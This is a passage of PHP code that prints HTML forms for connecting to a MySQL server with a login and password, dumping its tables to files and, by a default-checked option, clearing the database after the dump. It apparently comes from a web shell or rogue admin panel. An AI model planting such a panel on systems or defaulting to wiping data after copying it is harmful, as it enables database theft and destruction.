<input type='radio' name='opt' value='2'>\n\n Save structure only<br> <input type='radio' name='opt' value='3'>\n\n Save data only<br> <hr> <input type='Checkbox' name='drp_tbl' value='1' checked>\n\n Rewrite file if exists<br> <input type='Checkbox' name='ecraz' value='1' checked>\n\n Clear database after dump<br> <input type='Checkbox' name='f_tbl' value='1'>\n\n Put each table to a separate file<br> <input type='Checkbox' name='f_cut' value='1'>\n\n Maximum dump-file size: <input type='text' name='fz_max' value='200000' class=form>\n\n Octets<br> <input type='Checkbox' name='file_type' value='1'>\n\n Gzip.<br>\n\n </td></tr></table><br><br><input type='submit' value=' Dump:) ' class=form></form></center>{$footer}"; exit; } // SQL actions END if (file_exists($secu_config)) { include $secu_config; $ck = "checked"; } else { $dbhost = "localhost"; $dbbase = ""; $dbuser = "******"; $dbpass = ""; $ck = ""; } echo $header . "\n\n<center><br><br>\n\n<table width=620 cellpadding=0 cellspacing=0 align=center>\n\n <col width=1>\n\n <col width=600>\n\n <col width=1>\n\n <tr>\n\n <td></td>\n\n <td align=left class=texte>\n\n <br>\n\n <form action='' method='post'>\n\n <input type='hidden' name='sqlaction' value='connect'>\n\n <table border=0 align=center>\n\n <col>\n\n <col align=left>\n\n <tr>\n\n <td colspan=2 align=center style='font:bold 9pt;font-family:verdana;'>Enter data to connect to MySQL server!<br><br></td>\n\n </tr>\n\n <tr>\n\n <td class=texte>Server address:</td>\n\n <td><INPUT TYPE='TEXT' NAME='dbhost' SIZE='30' VALUE='localhost' class=form></td>\n\n </tr>\n\n <tr>\n\n <td class=texte>Base name:</td>\n\n <td><INPUT TYPE='TEXT' NAME='dbbase' SIZE='30' VALUE='' class=form></td>\n\n </tr>\n\n <tr>\n\n <td class=texte>Login:</td>\n\n <td><INPUT TYPE='TEXT' NAME='dbuser' SIZE='30' VALUE='root' class=form></td>\n\n </tr>\n\n <tr>\n\n <td class=texte>Password</td>\n\n <td><INPUT TYPE='Password' NAME='dbpass' SIZE='30' VALUE='' class=form></td>\n\n </tr>\n\n </table>\n\n <br> <center> <br><br>\n\n <input type='submit' value=' Connect ' class=form></center> </form> <br><br>\n\n </td>\n\n <td></td>\n\n </tr>\n\n <tr>\n\n <td height=1 colspan=3></td>\n\n </tr>\n\n</table>\n\n</center>"; }